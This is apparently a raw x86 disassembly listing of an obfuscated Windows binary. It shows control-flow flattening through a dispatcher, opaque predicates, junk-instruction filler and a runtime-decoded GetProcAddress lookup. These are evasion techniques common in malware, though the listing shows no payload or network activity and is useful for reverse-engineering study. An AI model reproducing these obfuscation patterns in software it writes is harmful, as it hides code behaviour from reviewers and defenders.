mov ecx, 0x96a31c19
cmovne eax, ecx
jmp 0x402240
rol edx, 0xd2
add edx, 0x1d
neg eax
dec edi
rcr eax, 0x2c
dec ebx
not edi
mov esi, 0x6a
dec edi
inc edx
sub edx, 0x57
not edi
and eax, 0x4d
rol edx, 0x8b
sub esi, 0x28
dec edi
neg edx
bswap eax
not esi
not ebx
mov eax, 0xc3
or edi, 0x94
imul edx
imul edi
and esi, 0x9d
imul eax
imul ebx
rcl eax, 0xb4
rcr edx, 0x85
not edx
imul eax
or edx, 0x8c
add edx, 0x28
ror eax, 0x5e
bswap eax
sub eax, 0x96
not edi
and eax, 0x5b
imul ebx
imul edx
and eax, 0x32
imul edx
not edx
add esi, 0x9c
rol ebx, 0x2d
or edx, 0x23
bswap eax
rol edx, 0xab
mov edx, 0xe0
inc esi
bswap edx
rcl edi, 0x4c
sub ebx, 0xd5
and esi, 0xca
neg esi
bswap edx
neg eax
sub edi, 0xda
mov ebx, 0x6e
rcl edi, 0xa9
bswap edi
sub ebx, 0x2a
imul edx
sub edi, 0x9c
dec ebx
rcl esi, 0x80
rcl ebx, 0xb8
and esi, 0x2e
dec eax
rol esi, 0xe3
not edx
sub edx, 6
dec esi
neg edi
inc esi
inc edi
mov eax, 0x4a
add ebx, 0x84
or eax, 0xa8
inc esi
mov ebx, 0xd1
dec ebx
neg edx
not edx
inc esi
dec edi
sub edx, 0xfc
imul ebx
ror edx, 0x2d
bswap esi
bswap edx
or eax, 0x35
sbb edx, 0xe
sbb esi, 5
dec esi
inc eax
add eax, 0x64
and eax, 6
not eax
dec edi
neg eax
rcl edi, 7
inc ebx
rcr edx, 0x3f
not eax
not edx
rcr esi, 0xa4
or edx, 0x3d
imul edx
inc edx
mov eax, 0x2b
rcr edx, 0x30
not eax
bswap eax
bswap edx
bswap edi
sub eax, 0x86
rcr edi, 0xa8
rcl eax, 0x43
and eax, 0xc
ror esi, 0xd8
dec eax
sbb eax, 0xfa
ror edx, 0xde
neg ebx
neg edx
inc esi
imul edx
ror ebx, 0x5d
bswap esi
neg eax
sub esi, 0x6a
ror ebx, 0x28
inc eax
add esi, 0x39
rcl eax, 0x7c
not edi
sbb edx, 0x6a
add eax, 0x40
rcl edx, 0xe4
sub edx, 0xb6
neg edi
or edx, 1
rol edi, 0x35
ror esi, 0x3c
ror esi, 0x66
rcl ebx, 0xcb
or esi, 0x6c
rol edi, 0xa2
rol eax, 0xb7
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub eax, 0xffffff80
mov dword [ebp - 0x118], eax
mov eax, 0x47e6041
jmp 0x402240
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x39002186
mov eax, edx
and eax, 0x640041
and edx, 0x2e32b7e0
or esi, eax
mov eax, ecx
and eax, 0xc69bde38
and ecx, 0xd1cd481f
xor esi, 0x39002186
or ecx, edx
or eax, esi
mov esi, eax
not esi
and eax, 0x396421c6
and esi, 0xc69bde39
or eax, esi
mov esi, eax
not esi
and eax, 0xf61ae4de
and esi, 0x9e51b21
or eax, esi
mov esi, eax
xor esi, 0xd212c052
xor eax, 0x9e51b21
mov edx, eax
and edx, 0x25ac3f8d
and esi, 0xda53c072
or esi, edx
mov edx, ecx
xor edx, 0xd0414012
xor ecx, 0x2e32b7e0
or eax, ecx
and ecx, 0x25ac3f8d
and edx, 0xda53c072
or edx, ecx
not eax
xor edx, esi
mov esi, 0xc84313e9
or eax, edx
mov ecx, eax
not ecx
and eax, 0x5e814959
and ecx, 0xa17eb6a6
or eax, ecx
xor eax, 0x5e814959
sete al
setne dl
cmp dword [0x4a2b80], 0xa
setge cl
setl ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor cl, 1
or cl, al
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xcd20b09a
cmovne ecx, esi
test al, 1
mov eax, 0xcd20b09a
jmp 0x40dd5c
mov eax, dword [ebp - 0x20]
mov dword [eax], 7
mov eax, 0xdfd57cf2
jmp 0x402240
mov eax, 0xb82ac5a8
jmp 0x402240
mov eax, 0x6bf1b363
jmp 0x402240
mov eax, dword [ebp - 0x138]
mov ecx, 0x57bb8847
cmp eax, dword [ebp - 0x13c]
mov eax, 0x189bf5a2
cmove eax, ecx
jmp 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x440299c2
and eax, 0x20104400
mov edx, ecx
or edx, 0x1b240229
and esi, 0x5f269beb
and ecx, 0x80c92014
and edx, 0x5f269beb
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x9bed223d
and ecx, 0x6412ddc2
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0xe2476768
and eax, 0xa44584
mov ecx, esi
and ecx, 0x1db89897
or esi, 0x10002843
or edx, ecx
and esi, 0x96022a6b
mov ecx, edx
xor edx, 0x1db89897
xor ecx, 0xe2476768
or eax, esi
mov edi, edx
or edi, 0x86020228
mov ebx, ecx
and ebx, 0x69599010
and edx, 0x8cd6ff6d
and edi, 0x96022a6b
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0x7959b852
and esi, 0x86a647ad
or eax, esi
mov esi, ecx
and esi, 0x73290092
and ecx, 1
or esi, edx
xor esi, 0x8cd6ff6c
or ecx, esi
mov esi, 0xe0dd7b9b
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x82503d58
and eax, 0x7dafc2a7
or eax, edx
xor eax, 0x7dafc2a7
or eax, ecx
xor eax, 0xffffffff
setne al
sete dl
cmp dword [0x4a2b80], 0xa
setl cl
setge ah
and al, cl
and ah, dl
or cl, dl
or al, ah
xor al, 1
mov edx, eax
mov ah, al
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor ah, cl
or cl, al
mov al, cl
xor al, ah
test cl, 1
mov ecx, 0x416e0c9b
cmovne ecx, esi
test ah, 1
cmove ecx, esi
test al, 1
mov eax, 0x416e0c9b
jmp 0x402230
mov eax, 0x9444c1c0
jmp 0x402240
mov eax, 0x1aa4a820
jmp 0x402240
mov eax, 0xffd1bd9e
jmp 0x402240
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x24]
inc eax
mov dword [ecx], eax
mov eax, 0x46448661
jmp 0x402240
mov eax, dword [ebp - 0x50]
mov eax, 0x3d8f2b01
jmp 0x402240
mov eax, 0x2e1527d4
jmp 0x402240
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x84]
mov eax, 0xf7626d21
jmp 0x402240
mov eax, dword [ebp - 0x34]
mov eax, 0xac0388d3
jmp 0x402240
mov eax, 0x9d7da203
jmp 0x402240
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, 0x5eddd593
jmp 0x402240
mov eax, 0x1aa4a820
jmp 0x402240
mov eax, dword [0x4a2b84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x604ee292
mov eax, edx
and eax, 0x4044c292
and ecx, edx
not edx
and edx, 0x200a2000
or eax, edx
mov edx, eax
xor edx, 0x90
xor eax, 0xbfbb3d6d
mov esi, eax
and esi, 0xf1cdfa42
and edx, 0x20090
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe3205bd
or eax, esi
and esi, 0xf1cdfa42
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3ac97d20
and ecx, 0xc53682df
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x81180045
xor edx, 0x5a879fb2
xor ecx, 0x5a879fb3
and ecx, edx
and eax, 0xd99f8765
and edx, 0x2660789a
or edx, eax
mov eax, ecx
not eax
and ecx, 0xad53eb5f
mov esi, eax
and esi, 0x52ac14a0
or ecx, esi
mov esi, edx
xor esi, 0x2440681b
xor edx, 0xd99f8764
or eax, edx
and edx, 0x52ac14a0
and esi, 0xad53eb5f
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x92412a24
mov ecx, eax
xor ecx, 0xf732343
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0xf08cdcbc
and eax, 0xf732343
or eax, ecx
setne dl
sete ah
cmp dword [0x4a2b80], 0xa
setl al
setge cl
mov ch, al
or dl, al
or al, ah
or cl, ah
xor ch, ah
mov ah, dl
xor al, 1
xor ah, cl
or cl, dl
or al, ch
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or dl, ah
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xacd1cb0
cmovne eax, esi
test dl, 1
not cl
mov edx, 0xacd1cb0
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402240
mov eax, dword [ebp - 0x4c]
mov eax, 0x470b8eda
jmp 0x402240
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0xb8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, 0xc2cc8c12
jmp 0x402240
bswap esi
add edi, 0xa2
mov edi, 0xd5
not edx
add ebx, 0x4d
bswap eax
imul esi
sbb edx, 0xf
bswap ebx
imul ebx
rcr edx, 0x22
inc ebx
or edi, 0xda
ror esi, 0x25
sub edi, 0x72
dec edi
not esi
mov edi, 0xfc
rcr edx, 0x3a
or edx, 0xd9
rcr esi, 0xa6
mov eax, 0xa7
mov edi, 0x75
not ebx
sbb eax, 6
ror ebx, 0x78
dec esi
mov ebx, 0x1b
or eax, 0x6d
ror ebx, 0x84
rol eax, 0xb1
dec eax
ror ebx, 0x90
neg edx
inc esi
not edi
not eax
not edi
bswap ebx
inc esi
sub ebx, 0xc1
mov edi, 0xc
ror edi, 0x49
add eax, 0x89
or ebx, 0x8f
and edi, 0x9b
sbb ebx, 0x68
dec eax
bswap esi
not esi
neg eax
dec esi
inc eax
ror esi, 0xf7
not edx
sub esi, 0xa2
not ebx
inc eax
rol edx, 0x97
or edi, 0x63
not edx
sub edi, 0x79
sub esi, 0x89
mov esi, 0xc2
sbb eax, 0x18
imul esi
dec edi
neg esi
rcl edi, 0x8c
rcr eax, 0x56
neg edi
bswap ebx
imul esi
inc ebx
bswap ebx
add edx, 0x3a
bswap edx
inc eax
not edi
rol edi, 0x87
sub ebx, 0xb5
or eax, 0x93
not ebx
bswap eax
neg esi
neg ebx
dec edi
neg eax
rcl ebx, 0x49
add ebx, 0x54
rol eax, 0xef
inc edx
add eax, 0x55
inc edi
and ebx, 0xa3
rcl esi, 0x50
dec eax
not esi
bswap esi
not ebx
rcl ebx, 0x5e
imul eax
rol edx, 0xad
rcr edx, 0x19
dec ebx
inc eax
neg edx
rcr ebx, 0x85
imul edi
inc edx
imul esi
bswap ebx
add esi, 0x8b
rcr edi, 0x73
rol ebx, 0x40
sub ebx, 0x4e
bswap eax
ror ebx, 0x7f
dec esi
mov ebx, 0x3a
mov esi, 0x89
dec ebx
ror edx, 0x64
sbb esi, 0x94
imul ebx
dec esi
and edx, 0x4b
add eax, 0x6c
imul edx
dec edi
rcl edx, 0x68
add ebx, 0x78
not eax
rol ebx, 0x47
inc eax
not eax
neg esi
add eax, 0xa7
inc edi
rcl eax, 0xdc
mov edi, 0xfa
dec eax
imul esi
inc edi
or edx, 0x6c
bswap eax
rcl edx, 0xc5
rcr edi, 0x17
sub edx, 0x19
ror eax, 0x90
mov ecx, dword [ebp - 0x1c]
mov edi, 0x1874ee92
mov dword [ecx], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x4a2b84]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x1a0], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xc582b97b
not ecx
mov esi, ecx
and edx, eax
and esi, 0xc582b97b
and ecx, 0x14f9f970
and eax, 0xeb06068f
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x7675b598
xor eax, 0xeb06068f
and esi, 0x898a4a67
or edx, esi
mov esi, edx
xor esi, 0x31b70ce2
xor edx, 0x400e105
and edx, 0x8640e105
and esi, 0x79bf1efa
or esi, edx
xor esi, 0x79bf1efa
or eax, esi
mov esi, 0xf2e5ee34
mov ecx, eax
not ecx
and eax, 0x73a5dba5
and ecx, 0x8c5a245a
or eax, ecx
xor eax, 0x73a5dba5
sete al
setne dl
cmp dword [0x4a2b80], 0xa
setl ah
setge cl
and al, cl
and ah, dl
or cl, dl
or al, ah
mov edx, ecx
mov ah, al
not dl
and al, cl
xor ah, 1
or cl, ah
and ah, dl
mov edx, 0x1874ee92
or ah, al
mov ebx, ecx
xor bl, ah
test ah, ah
cmovne edx, esi
test cl, cl
cmovne edx, edi
test bl, 1
jmp 0x40abe6
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
add eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x6848ca28
and eax, 0x800452
mov edx, ecx
or edx, 0x86331181
and esi, 0xee7bdba9
and ecx, 0x11042004
and edx, 0xee7bdba9
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x97373185
and ecx, 0x68c8ce7a
or eax, ecx
mov esi, eax
xor esi, 0xefc06d50
mov ecx, eax
and ecx, 0xe1ab38f7
and esi, eax
not eax
and eax, 0x1e54c708
or ecx, eax
mov eax, ecx
mov edi, ecx
xor eax, 0xe1ab38f7
xor edi, 0xf194aa58
xor ecx, 0x1c440600
and edi, eax
and ecx, 0x5ccc0e04
and eax, 0xa333f1fa
mov edx, edi
not edx
and edi, 0x421bcf6a
or eax, ecx
mov ebx, edx
and ebx, 0xbde43095
xor eax, 0xa333f1fa
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x421bcf6a
or edx, ebx
and ebx, 0xbde43095
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xd03fc046
and esi, 0x2fc03fb9
or edx, esi
xor edx, 0x3fffad17
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xb0a26a7b
and eax, 0x4f5d9584
or ecx, eax
mov eax, ecx
xor eax, 0x90006862
xor ecx, 0x4f5d9584
mov esi, ecx
and esi, 0x6bbb1319
and eax, 0x9444ece6
or eax, esi
mov esi, edx
not esi
and edx, 0x9444ece6
or ecx, esi
and esi, 0x6bbb1319
or edx, esi
not ecx
mov esi, 0x4e3dd9fe
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xe22dc01b
and eax, 0x1dd23fe4
or ecx, eax
cmp ecx, 0x1dd23fe4
setne al
cmp dword [0x4a2b80], 0xa
mov ecx, eax
setge dl
setl ah
inc cl
or cl, ah
xor dl, al
xor al, ah
xor cl, 1
or cl, dl
mov edx, ecx
or cl, al
xor dl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xca353658
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0xca353658
jmp 0x402230
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
not ecx
or edx, 0xd4340313
mov edi, ecx
mov esi, edx
and esi, 0x56d4fe7d
and edi, 0x290b0080
and ecx, 0xd5c5c303
or edi, esi
mov esi, eax
xor esi, 0x2bcbfcec
and esi, eax
and eax, 0x2a3a3cfc
mov ebx, esi
not ebx
and esi, 0xa92b0182
or eax, ecx
or edx, ebx
and ebx, 0x56d4fe7d
xor eax, 0x2a3a3cfc
or esi, ebx
not edx
xor esi, edi
or edx, esi
not esi
and esi, 0xd4340312
and edx, 0x2bcbfced
or edx, esi
mov esi, 0xa22e98b8
not edx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe3a74628
and ecx, 0x1c58b9d7
or eax, ecx
cmp eax, 0xe3a74628
sete cl
cmp dword [0x4a2b80], 0xa
mov ah, cl
setl al
xor ah, al
mov dl, ah
and dl, al
or al, cl
xor al, 1
or al, ah
and ah, cl
mov cl, ah
xor ah, dl
xor dl, 1
mov ch, al
mov dh, al
xor cl, 1
xor ch, 1
or dl, cl
and dh, ch
xor dl, 1
xor dh, 1
or dl, ah
or dh, ch
mov ecx, edx
xor dh, 1
xor cl, 1
or dh, al
mov ah, cl
and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or ah, cl
or cl, al
mov ch, ah
mov al, cl
xor ch, 1
and ch, dh
xor dh, 1
and dh, ah
or dh, ch
xor al, dh
test al, 1
mov eax, 0x2d405583
cmovne eax, esi
test cl, 1
mov ecx, 0x2d405583
cmovne ecx, eax
test dh, 1
jmp 0x402230
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
mov edx, ecx
and edx, 0x14dcc2aa
and eax, ecx
not ecx
mov esi, ecx
and esi, 0xeb233d54
or edx, esi
mov esi, 0x1874ee92
xor edx, 0x14dcc2aa
or eax, edx
mov edx, eax
not edx
and eax, 0x8d0b253c
and edx, 0x72f4dac3
or eax, edx
xor eax, 0x8d0b253c
or eax, ecx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x4a2b80], 0xa
setl ah
mov cl, ah
or dl, ah
or cl, al
xor al, ah
xor dl, 1
xor cl, 1
or cl, al
and al, ah
mov ah, cl
or al, dl
mov edx, ecx
and dl, al
xor ah, 1
xor al, 1
and ah, al
or al, cl
or ah, dl
mov ecx, eax
mov edx, 0xcf573b1b
xor cl, ah
test al, al
cmovne edx, esi
test ah, 1
mov eax, 0xcf573b1b
cmove edx, esi
test cl, 1
cmove edx, eax
mov eax, edx
jmp 0x402240
mov eax, dword [ebp - 0xf8]
push dword [eax]
push dword [ebp - 0xf4]
push dword [ebp - 0xec]
vzeroupper
call fcn.00445b00
add esp, 0xc
mov eax, 0xe6fa3224
jmp 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
xor edx, 0xfffffffe
mov ecx, eax
or ecx, 1
mov edi, ecx
and edx, eax
and edi, 0x90ac91b7
and esi, 0x6f536e48
or esi, edi
mov edi, edx
not edi
and edx, 0x6f536e48
or ecx, edi
and edi, 0x90ac91b7
or edx, edi
not ecx
mov edi, 0xc7732b7d
xor edx, esi
mov esi, 0xc7732b7d
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne cl
cmp dword [0x4a2b80], 0xa
mov edx, ecx
setge al
or dl, al
xor al, cl
mov ecx, eax
and al, dl
xor dl, 1
xor cl, 1
mov ah, dl
xor ah, cl
and cl, dl
or cl, al
and ah, dl
mov edx, 0x5b43002
mov al, cl
xor al, ah
test cl, cl
cmovne edi, edx
test ah, ah
cmove edi, esi
test al, al
cmovne edi, edx
mov eax, edi
jmp 0x402240
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, 0x8baa4d25
jmp 0x402240
mov eax, 0xa39fc152
jmp 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xfbd81dfe
mov ecx, eax
and ecx, 0xac029211
andn edx, eax, edx
not eax
and eax, 0x53fd6dee
or eax, ecx
mov esi, eax
xor esi, 0x53fd6dee
xor eax, 0x24028210
mov ecx, esi
and ecx, 0x427e201
or esi, 1
and eax, 0x34668394
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x427e200
and ecx, 0xfbd81dff
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x34668395
mov edi, ecx
or ecx, esi
and edi, 0xcb997c6a
and esi, 0xcb997c6a
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0xcf6c134c
and ecx, 0x3093ecb3
or eax, ecx
mov ecx, eax
xor ecx, 0x4f001248
xor eax, 0x3093ecb3
mov esi, eax
and esi, 0x906fc186
and ecx, 0x6f903e79
or ecx, esi
mov esi, edx
not esi
and edx, 0x6f903e79
or eax, esi
and esi, 0x906fc186
or edx, esi
not eax
mov esi, 0xa6096d27
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x382b32e6
and ecx, 0xc7d4cd19
or ecx, eax
xor ecx, 0xc7d4cd19
sete dl
setne ah
cmp dword [0x4a2b80], 0xa
setge al
setl ch
mov cl, al
and ch, ah
xor cl, ah
mov ah, al
xor ah, dl
and ah, al
and al, dl
mov edx, ecx
or al, ch
or al, ah
mov ah, cl
xor dl, al
xor al, 1
xor ah, al
or al, cl
mov ecx, edx
xor al, 1
or al, ah
xor cl, al
test al, 1
mov eax, 0x3c434a29
cmovne eax, esi
test dl, dl
not cl
mov edx, 0x3c434a29
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x402240
mov eax, dword [ebp - 0x20]
mov eax, 0x7111a47a
jmp 0x402240
mov eax, 0xfb166bb5
jmp 0x402240
mov eax, 0x73769a0e
jmp 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and eax, 0x4c47e19b
and ecx, 1
mov esi, edx
and edx, 0xb3b81e64
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0x8ef7a230
mov edx, eax
xor edx, 0x4c47e19b
xor eax, 0xb3b81e64
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne dh
sete ch
cmp dword [0x4a2b80], 0xa
mov al, dh
setge ah
setl dl
xor al, ah
or ah, dh
xor dl, ch
xor ah, 1
mov ecx, eax
mov dh, al
or ah, dl
xor cl, 1
xor ah, 1
mov ebx, ecx
or ah, dl
and bl, al
mov ch, ah
xor bl, 1
xor ch, 1
xor dh, bl
or bl, al
mov dl, ch
xor bl, 1
and dl, ah
or bl, dh
xor ch, dl
xor dl, 1
mov dh, bl
or dl, ah
xor dh, 1
xor dl, 1
or dl, ch
mov ah, dl
and bl, dl
or dl, al
xor ah, 1
xor dl, 1
and dh, ah
xor ah, cl
or dl, ah
or bl, dh
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x8f0fdddf
cmovne esi, eax
test dl, 1
mov eax, 0x8ef7a230
cmovne eax, esi
test bl, 1
cmove eax, esi
jmp 0x402240
mov eax, 0xca599357
jmp 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0xa0880088
mov esi, edx
mov edi, edx
or esi, 0x5e149501
and ecx, 0xfe9c9589
and edi, 0x204234
and edx, 0xad1c0f1c
or edi, ecx
mov ecx, eax
and esi, 0xfe9c9589
and ecx, 0x1432842
and eax, 0x52e3f0e3
or ecx, esi
or eax, edx
xor ecx, edi
mov edi, 0xae85816
mov esi, ecx
not esi
and ecx, 0x240da385
and esi, 0xdbf25c7a
or ecx, esi
mov esi, ecx
xor esi, 0x42001081
xor ecx, 0x85c68b4e
mov edx, ecx
and edx, 0xb8ffe776
and esi, 0x47001889
or esi, edx
mov edx, eax
xor edx, 0x42001081
xor eax, 0xa81c0714
and eax, 0xb8ffe776
and edx, 0x47001889
or edx, eax
xor edx, esi
mov esi, 0x29b9f4d0
xor ecx, edx
test ecx, edx
setne dl
sete al
cmp dword [0x4a2b80], 0xa
mov ecx, edx
setl ah
setge ch
inc cl
and ch, al
mov al, ah
or cl, ah
and al, dl
xor dl, ah
mov ah, dl
or al, ch
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
test dl, 1
not cl
cmovne esi, edi
test cl, al
cmovne esi, edi
test dl, 1
mov edx, esi
cmovne edx, edi
test cl, al
cmove edx, esi
mov eax, edx
jmp 0x402240
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0xc0e015
mov esi, eax
mov edi, eax
or esi, 0x30220a08
and edx, 0x30e2ea1d
and edi, 0x3011402
and eax, 0x68fddc7d
or edi, edx
mov edx, ecx
and esi, 0x30e2ea1d
and edx, 0xcc1c01e0
and ecx, 0x97022382
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x836af073
and esi, 0x7c950f8c
or edx, esi
mov esi, edx
xor esi, 0x2049cc78
xor edx, 0x4fb61187
mov edi, edx
and edi, 0x97022382
and esi, 0x68fddc7d
or esi, edi
xor eax, esi
mov esi, 0x4114c820
not eax
or eax, edx
cmp eax, 0xffffffff
sete cl
cmp dword [0x4a2b80], 0xa
setl al
mov edx, eax
xor al, cl
or dl, cl
mov ah, dl
xor ah, 1
or ah, al
and al, dl
xor al, 1
mov ecx, eax
or al, ah
xor cl, ah
mov edx, eax
xor dl, cl
mov edx, 0x6913b463
cmovne edx, esi
test al, al
mov eax, 0x6913b463
jmp 0x40da10
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
mov edx, dword [eax + ecx*4]
mov ecx, edx
xor ecx, 0xe537d415
mov eax, edx
and eax, 0x499b2ca
and ecx, edx
not edx
and edx, 0xfb664d35
mov esi, ecx
not esi
and ecx, 0xe7b1f963
or eax, edx
mov edx, eax
xor eax, 0xe1264415
xor edx, 0x4119000
or eax, 0x1ac82bea
and edx, 0xe531d001
mov edi, eax
or eax, esi
and edi, 0x184e069c
and esi, 0x184e069c
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf03dd06c
and ecx, 0xfc22f93
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x14020448
xor esi, 0xeaf5fb86
xor eax, 0x140a0000
mov ecx, esi
and esi, 0x6b3891b5
and edx, 0x94c76e4a
or ecx, 0xffff
and eax, 0x540b0000
or edx, esi
mov edi, ecx
and edi, 0xabf4ab9f
mov esi, edx
xor esi, 0x14031020
xor edx, 0x6b386e4a
or eax, edi
or ecx, edx
and edx, 0xabf4ab9f
and esi, 0x540b5460
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x5010240
and ecx, 0xdacef93e
and eax, 0x20300481
or edx, eax
xor edx, 0x5010240
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x79137134
and eax, 0x86ec8ecb
or ecx, eax
mov eax, ecx
xor eax, 0x40206701
xor ecx, 0x1dd8800
and eax, 0xe220670b
and ecx, 0x1ddf98f4
or ecx, eax
mov eax, ecx
xor eax, 0x42202202
xor ecx, 0x4468820
and ecx, 0xa446cd29
and eax, 0x5bb932d6
or eax, ecx
mov ecx, dword [ebp - 0x50]
xor eax, 0x5bb932d6
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov ecx, 0x9fa4be36
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0
mov eax, 0xef60a581
cmove eax, ecx
jmp 0x402240
mov eax, dword [0x4a2b84]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0xfffffffe
mov edx, ecx
and edx, 1
and ecx, 0x2dd78774
or edx, esi
mov esi, eax
and esi, 0xd228788b
or ecx, esi
mov esi, edx
not esi
and edx, 0x2dd78774
or eax, esi
and esi, 0xd228788b
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x69804083
and eax, 0x302278
mov edx, ecx
or edx, 0x12010504
and esi, 0x7b814587
and ecx, 0x844e9800
and edx, 0x7b814587
or ecx, esi
mov esi, 0x7427c524
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x964f9d04
and ecx, 0x69b062fb
or eax, ecx
setne ah
sete ch
cmp dword [0x4a2b80], 0xa
mov dl, ah
setl al
setge cl
xor dl, al
and ch, cl
and al, ah
or al, ch
mov ch, cl
or cl, ah
xor dl, 1
xor ch, ah
xor cl, 1
or cl, ch
xor cl, 1
or cl, dl
mov edx, eax
mov ah, cl
xor dl, 1
and cl, al
xor ah, 1
and dl, ah
or dl, cl
